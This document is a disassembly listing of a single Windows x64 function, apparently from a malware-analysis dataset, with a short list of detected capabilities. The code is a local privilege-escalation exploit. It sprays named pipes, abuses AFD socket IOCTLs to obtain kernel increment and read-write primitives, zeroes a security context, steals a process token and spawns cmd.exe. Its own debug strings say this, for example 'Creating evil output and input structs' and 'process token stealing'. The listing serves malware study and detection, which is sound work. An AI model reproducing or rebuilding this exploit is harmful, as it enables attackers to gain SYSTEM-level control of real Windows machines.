Function at 0x140002450
Capabilities:
Create pipe
Create process on windows
Make suspicious ntfscontrolfile call
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x80], rax
mov ebx, dword [0x7ffe026c]
mov esi, dword [0x7ffe0270]
mov edi, dword [0x7ffe0260]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, 0x780000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0xd0
call sub.VCRUNTIME140.dll_memset
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp ebx, 0xa
jne 0x140002d2d
test esi, esi
jne 0x140002d2d
cmp edi, 0x3ad7
jb 0x140002d2d
test eax, eax
je 0x140002d2d
cmp dword [rsp + 0x78], esi
jne 0x140002d2d
mov qword [rsp + 0x1b8], r15
lea rcx, str..pipeLOCALim
xor r15d, r15d
mov r9d, 0xff
mov qword [rsp + 0x38], r15
xor r8d, r8d
mov dword [rsp + 0x30], 0xff
mov edx, 3
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0xffffffff
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rdi, rax
test eax, eax
jns 0x140002561
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._ERROR__code:_d_Creating_hPipe_im._n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, rdi
mov qword [rsp + 0x1b0], r14
call fcn.1400019f0
mov r8, rax
lea rcx, str.___Created_pipe_IM:_0x_x____0x_llx_n
mov rdx, rdi
call fcn.140001010
mov qword [rsp + 0x38], r15
lea rcx, str..pipeLOCAL_rw
mov dword [rsp + 0x30], 0xff
mov r9d, 0xff
mov dword [rsp + 0x28], 0xffffffff
xor r8d, r8d
mov edx, 3
mov dword [rsp + 0x20], 0xffffffff
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov r14, rax
test eax, eax
jns 0x1400025da
lea rcx, str._ERROR__Creating_pipe_rw._n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, r14
call fcn.1400019f0
mov r8, rax
lea rcx, str.___Created_pipe_RW:_0x_x____0x_llx_n
mov rdx, r14
call fcn.140001010
mov qword [rsp + 0x30], r15
lea rcx, str..pipeLOCALim
mov dword [rsp + 0x28], r15d
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x30], r15
lea rcx, str..pipeLOCAL_rw
mov dword [rsp + 0x28], r15d
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov r8d, 3
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, [rsi - 1]
mov rbx, rax
cmp rcx, 0xfffffffffffffffd
ja 0x140002d15
mov rcx, rsi
call fcn.1400019f0
mov r8, rax
lea rcx, str.___Open_file_handle_for_IM_pipe:_0x_x____0x_llx_n
mov rdx, rsi
call fcn.140001010
lea rcx, [rbx - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140002cfd
mov rcx, rbx
call fcn.1400019f0
mov r8, rax
lea rcx, str.___Open_file_handle_for_RW_pipe:_0x_x__0x_llx_n
mov rdx, rbx
call fcn.140001010
lea rcx, str.___Creating_evil_output_and_input_structs_n
call fcn.140001010
lea rcx, [rbp - 0x80]
call fcn.140001330
lea rcx, [rsp + 0x50]
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], r14
call fcn.140001070
test eax, eax
jns 0x1400026f1
mov edx, eax
lea rcx, str._ERROR_nt_code:_x__Creating_NT_Socket_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rsp + 0x50]
call fcn.1400019f0
mov rdx, qword [rsp + 0x50]
lea rcx, str.___Creating_NT_Windows_Socket1:_0x_x____0x_llx_n
mov r8, rax
call fcn.140001010
mov rax, qword [rbp - 0x78]
xor r9d, r9d
mov r14, qword [rbp - 0x80]
xor r8d, r8d
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov dword [rsp + 0x48], 0x78004
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], 0x78004
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], 0x12003
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
test eax, eax
jns 0x140002774
mov edx, eax
lea rcx, str._ERROR_nt_code:_x__AfdBind_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.___Binding_to_NT_Windows_Socket1_n
call fcn.140001010
lea rcx, [rsp + 0x58]
call fcn.140001070
test eax, eax
jns 0x1400027a8
mov edx, eax
lea rcx, str._ERROR_nt_code:_x__Creating_NT_Socket2_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rsp + 0x58]
call fcn.1400019f0
mov rdx, rax
lea rcx, str.___Creating_NT_Windows_Socket2:_0x_x____0x_llx_n
call fcn.140001010
mov rax, qword [rsp + 0x50]
xor r9d, r9d
mov rcx, qword [rsp + 0x58]
xor r8d, r8d
mov dword [rsp + 0x48], r15d
xor edx, edx
mov byte [rbp + 0x58], al
shr eax, 8
mov qword [rsp + 0x40], r15
mov byte [rbp + 0x59], al
lea rax, [rbp + 0x50]
mov dword [rsp + 0x38], 0x30
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], 0x120bb
mov qword [rsp + 0x20], rax
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x5a], r15
mov dword [rbp + 0x62], r15d
mov dword [rbp + 0x66], 0x10000
mov dword [rbp + 0x6a], 0x100000
mov dword [rbp + 0x6e], 0x87000002
mov qword [rbp + 0x72], 0x100007f
mov dword [rbp + 0x7a], r15d
mov word [rbp + 0x7e], r15w
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
test eax, eax
jns 0x14000285f
mov edx, eax
lea rcx, str._ERROR_nt_code:_x__AfdConnect_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.___Connecting_to_the_NT_Windows_Socket2_n
call fcn.140001010
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x68]
mov dword [rsp + 0x48], r15d
xor r9d, r9d
mov qword [rsp + 0x40], r15
xor r8d, r8d
mov dword [rsp + 0x38], 0xc
xor edx, edx
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x50]
mov dword [rsp + 0x28], 0x1200b
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 1
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
test eax, eax
jns 0x1400028d5
lea rcx, str._ERROR_nt_code:_x__AfdConnect_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.___Listening_to_NT_Windows_Socket2_n
call fcn.140001010
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ntdll.dll_NtClose]
test eax, eax
jns 0x140002908
lea rcx, str._ERROR_nt_code:_x__Colsing_NT_Windows_socket2_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.___Listening_to_NT_Windows_Socket2_n
call fcn.140001010
lea rsi, [r14 + 4]
mov ebx, 0x10
nop dword [rax]
mov qword [rsp + 0x40], r15
lea rax, [rbp + 0x50]
mov qword [rsp + 0x38], r15
xor r9d, r9d
mov dword [rsp + 0x30], 0x77fd0
xor r8d, r8d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtWriteFile]
sub rbx, 1
jne 0x140002920
test eax, eax
jns 0x140002975
mov edx, eax
lea rcx, str._ERROR_nt_code:_x__In_writing_to_IM_Pipe_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.___Wrinting_output_to_the_IM_Pipe___Pipe_spraying___n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x50]
mov dword [rsp + 0x48], 0x78004
xor r9d, r9d
mov qword [rsp + 0x40], r14
xor r8d, r8d
mov dword [rsp + 0x38], r15d
xor edx, edx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x1202f
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
test eax, eax
jns 0x1400029da
mov edx, eax
lea rcx, str._ERROR_nt_code:_x__To_get_socket_name_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.___Get_the_sock_name_from_NT_windows_sock1_n
call fcn.140001010
lea rcx, [rbp - 0x80]
call fcn.140001750
test al, al
je 0x140002a0b
lea rcx, str._ERROR__Could_not_achieve_Increment_Primitives_n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str.___Obtained_Increment_Primitives_n
call fcn.140001010
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp - 0x80]
call fcn.140001b10
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp - 0x80]
mov qword [rbp], rax
call fcn.140001b10
mov rbx, qword [rbp + 0x10]
mov rdi, rax
mov qword [rbp + 8], rax
mov rcx, r15
test rbx, rbx
je 0x140002a5f
xor edx, edx
mov r8d, 0x1000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbx + 0xd0]
mov rax, qword [rbp - 0x18]
xor r9d, r9d
mov qword [rsp + 0x40], r15
xor r8d, r8d
mov qword [rcx], rax
xor edx, edx
mov rcx, qword [rbp + 0x28]
lea rax, [rbp + 0x50]
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], 0x1000
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtWriteFile]
lea rdx, [rdi + 0xa9]
lea r8, [rsp + 0x68]
lea rcx, [rbp - 0x80]
call fcn.140001d30
mov rcx, qword [rbp + 0x40]
test eax, eax
cmove rcx, qword [rsp + 0x68]
mov qword [rbp + 0x40], rcx
lea rcx, [rbp - 0x80]
call fcn.140001e40
test eax, eax
jne 0x140002ad6
lea rcx, str._ERROR__No_RW_primitive
call fcn.140001010
call fcn.1400011c0
mov rcx, qword [rbp - 0x70]
add rax, 0x232
mov byte [rsp + 0x60], r15b
xor r9d, r9d
mov qword [rsp + 0x40], r15
xor r8d, r8d
mov qword [rsp + 0x38], r15
xor edx, edx
mov qword [rcx + 0x18], rax
mov rax, qword [rbp - 0x68]
mov dword [rsp + 0x30], 1
mov dword [rax + 0x10], 0x119ff8
mov qword [rcx + 0xb8], rax
mov byte [rax], 0xd
mov rax, qword [rcx + 0xb8]
mov rcx, qword [rbp + 0x38]
mov dword [rax + 0x10], 0x119ff8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtWriteFile]
mov rdi, qword [rbp]
mov dword [rsp + 0x7c], 2
mov dword [rsp + 0x68], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 4
mov qword [rsp + 0x20], r15
mov rcx, rax
lea r8, [rsp + 0x7c]
lea rdx, [rdi + 0xb8]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
jns 0x140002b8f
lea rcx, str._ERROR__Unable_to_write_value_2_to_IM_CBB._n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], r15
mov rcx, rax
lea r8, [rsp + 0x68]
lea rdx, [rdi + 0x108]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
jns 0x140002bc5
lea rcx, str._ERROR__Unable_to_write_value_0_to_zero_out_SecurityContext_in_IM_pipe._n
call fcn.140001010
mov rbx, qword [rbp + 8]
mov dword [rsp + 0x68], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 4
mov qword [rsp + 0x20], r15
mov rcx, rax
lea r8, [rsp + 0x68]
lea rdx, [rbx + 0x58]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
jns 0x140002c04
lea rcx, str._ERROR__Unable_to_write_value_1_to_RW_CBB._n
call fcn.140001010
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtClose]
call fcn.140002050
test eax, eax
je 0x140002c2d
lea rcx, str.____ERROR_in_process_token_stealing_n
call fcn.140001010
xorps xmm0, xmm0
mov dword [rbp - 0x80], 0x68
xor eax, eax
lea rcx, str.C:WindowsSystem32cmd.exe
mov dword [rbp - 0x1c], eax
xor r9d, r9d
mov qword [rbp + 0x60], rax
xor r8d, r8d
lea rax, [rbp + 0x50]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140002ca9
lea rcx, str.____Couldnt_create_cmd.exe_process__n
call fcn.140001010
jmp 0x140002cc9
lea rcx, str.___Calling_CMD_System_n
call fcn.140001010
mov rcx, qword [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14, qword [rsp + 0x1b0]
xor eax, eax
mov r15, qword [rsp + 0x1b8]
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.140002d60
mov rbx, qword [rsp + 0x1c0]
add rsp, 0x190
pop rdi
pop rsi
pop rbp
ret
lea rcx, str._ERROR__Opening_hFile_rw._n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str._ERROR__Opening_hPipe_im._n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, str._ERROR__Unsupported_Windows_build._n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]